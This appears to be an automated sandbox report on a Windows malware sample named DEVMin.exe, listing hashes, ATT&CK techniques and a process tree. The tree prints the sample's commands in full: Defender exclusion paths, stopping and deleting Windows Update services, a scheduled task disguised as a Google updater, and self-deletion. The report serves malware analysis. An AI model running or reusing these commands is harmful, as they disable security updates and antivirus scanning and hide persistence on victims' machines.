ffb44a5388958cda3be00af5170e3fa51c5bc59e7b6ea659836417a17594d18c

Analysis

max time kernel
121s
max time network
138s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
13-10-2023 02:17

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General

Target

DEVMin.exe
Size

3.6MB
MD5

279c66b28f19a510ad6c0f155871fac3
SHA1

427bcf049de4b9a848593463e0f36265baa6164c
SHA256

ae0b0d973a8b3feff1fb7570e09fadf473b904b8bb53c7eb83da63a53c103164
SHA512

f9ae2f0753e689f78ced7d1dbc4273fe17ca1eda2f62ee7a317a4a3614d91fcae62d7aacb8ea1a826f7e0a5a3c5723dc48830483af8e38497bc9593bd2f7f161
SSDEEP

98304:JHmeIFVx0/o2Jrd9o2oNiN0KL5Zm2kVehky:DIFVxQJM2eRZfQhky

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 2096 created 1400	2096	DEVMin.exe	11
PID 2096 created 1400	2096	DEVMin.exe	11
PID 2096 created 1400	2096	DEVMin.exe	11
PID 2096 created 1400	2096	DEVMin.exe	11
PID 2096 created 1400	2096	DEVMin.exe	11

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	DEVMin.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Deletes itself 1 IoCs

pid	Process
564	cmd.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2528	sc.exe
2444	sc.exe
2392	sc.exe
2452	sc.exe
2464	sc.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2372	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
2096	DEVMin.exe
2096	DEVMin.exe
2612	powershell.exe
2096	DEVMin.exe
2096	DEVMin.exe
2096	DEVMin.exe
2096	DEVMin.exe
2096	DEVMin.exe
2096	DEVMin.exe
2424	powershell.exe
2096	DEVMin.exe
2096	DEVMin.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2612	powershell.exe
Token: SeShutdownPrivilege	2564	powercfg.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeShutdownPrivilege	2836	powercfg.exe
Token: SeShutdownPrivilege	1072	powercfg.exe
Token: SeShutdownPrivilege	1652	powercfg.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 2572 wrote to memory of 2528	2572	cmd.exe	37
PID 2572 wrote to memory of 2528	2572	cmd.exe	37
PID 2572 wrote to memory of 2528	2572	cmd.exe	37
PID 2508 wrote to memory of 2564	2508	cmd.exe	38
PID 2508 wrote to memory of 2564	2508	cmd.exe	38
PID 2508 wrote to memory of 2564	2508	cmd.exe	38
PID 2572 wrote to memory of 2444	2572	cmd.exe	39
PID 2572 wrote to memory of 2444	2572	cmd.exe	39
PID 2572 wrote to memory of 2444	2572	cmd.exe	39
PID 2572 wrote to memory of 2392	2572	cmd.exe	40
PID 2572 wrote to memory of 2392	2572	cmd.exe	40
PID 2572 wrote to memory of 2392	2572	cmd.exe	40
PID 2572 wrote to memory of 2452	2572	cmd.exe	41
PID 2572 wrote to memory of 2452	2572	cmd.exe	41
PID 2572 wrote to memory of 2452	2572	cmd.exe	41
PID 2572 wrote to memory of 2464	2572	cmd.exe	44
PID 2572 wrote to memory of 2464	2572	cmd.exe	44
PID 2572 wrote to memory of 2464	2572	cmd.exe	44
PID 2508 wrote to memory of 2836	2508	cmd.exe	42
PID 2508 wrote to memory of 2836	2508	cmd.exe	42
PID 2508 wrote to memory of 2836	2508	cmd.exe	42
PID 2572 wrote to memory of 3000	2572	cmd.exe	43
PID 2572 wrote to memory of 3000	2572	cmd.exe	43
PID 2572 wrote to memory of 3000	2572	cmd.exe	43
PID 2508 wrote to memory of 1072	2508	cmd.exe	46
PID 2508 wrote to memory of 1072	2508	cmd.exe	46
PID 2508 wrote to memory of 1072	2508	cmd.exe	46
PID 2572 wrote to memory of 568	2572	cmd.exe	45
PID 2572 wrote to memory of 568	2572	cmd.exe	45
PID 2572 wrote to memory of 568	2572	cmd.exe	45
PID 2572 wrote to memory of 1428	2572	cmd.exe	48
PID 2572 wrote to memory of 1428	2572	cmd.exe	48
PID 2572 wrote to memory of 1428	2572	cmd.exe	48
PID 2508 wrote to memory of 1652	2508	cmd.exe	47
PID 2508 wrote to memory of 1652	2508	cmd.exe	47
PID 2508 wrote to memory of 1652	2508	cmd.exe	47
PID 2572 wrote to memory of 576	2572	cmd.exe	51
PID 2572 wrote to memory of 576	2572	cmd.exe	51
PID 2572 wrote to memory of 576	2572	cmd.exe	51
PID 2572 wrote to memory of 1344	2572	cmd.exe	49
PID 2572 wrote to memory of 1344	2572	cmd.exe	49
PID 2572 wrote to memory of 1344	2572	cmd.exe	49
PID 2424 wrote to memory of 2372	2424	powershell.exe	50
PID 2424 wrote to memory of 2372	2424	powershell.exe	50
PID 2424 wrote to memory of 2372	2424	powershell.exe	50
PID 564 wrote to memory of 2656	564	cmd.exe	54
PID 564 wrote to memory of 2656	564	cmd.exe	54
PID 564 wrote to memory of 2656	564	cmd.exe	54

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1400
- C:\Users\Admin\AppData\Local\Temp\DEVMin.exe
  "C:\Users\Admin\AppData\Local\Temp\DEVMin.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Drivers directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2096
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2612
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2508
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2564
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2836
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1072
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1652
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2528
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2444
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2392
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2452
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:3000
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2464
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:568
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1428
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1344
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#owhqpc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachineQC /tr 'C:\Users\Admin\Google\Chrome\updater.exe'
    3⤵
    - Creates scheduled task(s)
    PID:2372
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\DEVMin.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:564
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0dc3c6c2d5baf07b319695ec918a165f

SHA1
bdea163046192f063e2bbbe356e833a38e05dfb2

SHA256
115a72a1089fa1694660bca4456d80d9b51e3d661994535b793d5362c573d898

SHA512
7a72e0f7f29337695da8d82da75ce0aa8126a3cf4752e3fe5bee0bb7f05a79ca5f3cca9d420228d271d2e51280fa3ca05384aade1a9c0b0a2001f8cc06aa3d0c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WO9EN4PJN92SUKVXI8RT.temp

Filesize
7KB

MD5
0dc3c6c2d5baf07b319695ec918a165f

SHA1
bdea163046192f063e2bbbe356e833a38e05dfb2

SHA256
115a72a1089fa1694660bca4456d80d9b51e3d661994535b793d5362c573d898

SHA512
7a72e0f7f29337695da8d82da75ce0aa8126a3cf4752e3fe5bee0bb7f05a79ca5f3cca9d420228d271d2e51280fa3ca05384aade1a9c0b0a2001f8cc06aa3d0c

Download Submit
memory/2096-29-0x000000013FC70000-0x000000014000A000-memory.dmp

Filesize
3.6MB

Download
memory/2096-24-0x000000013FC70000-0x000000014000A000-memory.dmp

Filesize
3.6MB

Download
memory/2424-22-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp

Filesize
9.6MB

Download
memory/2424-26-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/2424-27-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp

Filesize
9.6MB

Download
memory/2424-25-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/2424-23-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/2424-21-0x0000000002680000-0x0000000002700000-memory.dmp

Filesize
512KB

Download
memory/2424-19-0x00000000022A0000-0x00000000022A8000-memory.dmp

Filesize
32KB

Download
memory/2424-20-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp

Filesize
9.6MB

Download
memory/2424-18-0x000000001B1A0000-0x000000001B482000-memory.dmp

Filesize
2.9MB

Download
memory/2612-7-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-10-0x00000000023D0000-0x0000000002450000-memory.dmp

Filesize
512KB

Download
memory/2612-4-0x000000001B0E0000-0x000000001B3C2000-memory.dmp

Filesize
2.9MB

Download
memory/2612-6-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-9-0x00000000023D0000-0x0000000002450000-memory.dmp

Filesize
512KB

Download
memory/2612-11-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

Filesize
9.6MB

Download
memory/2612-8-0x00000000023D0000-0x0000000002450000-memory.dmp

Filesize
512KB

Download
memory/2612-5-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download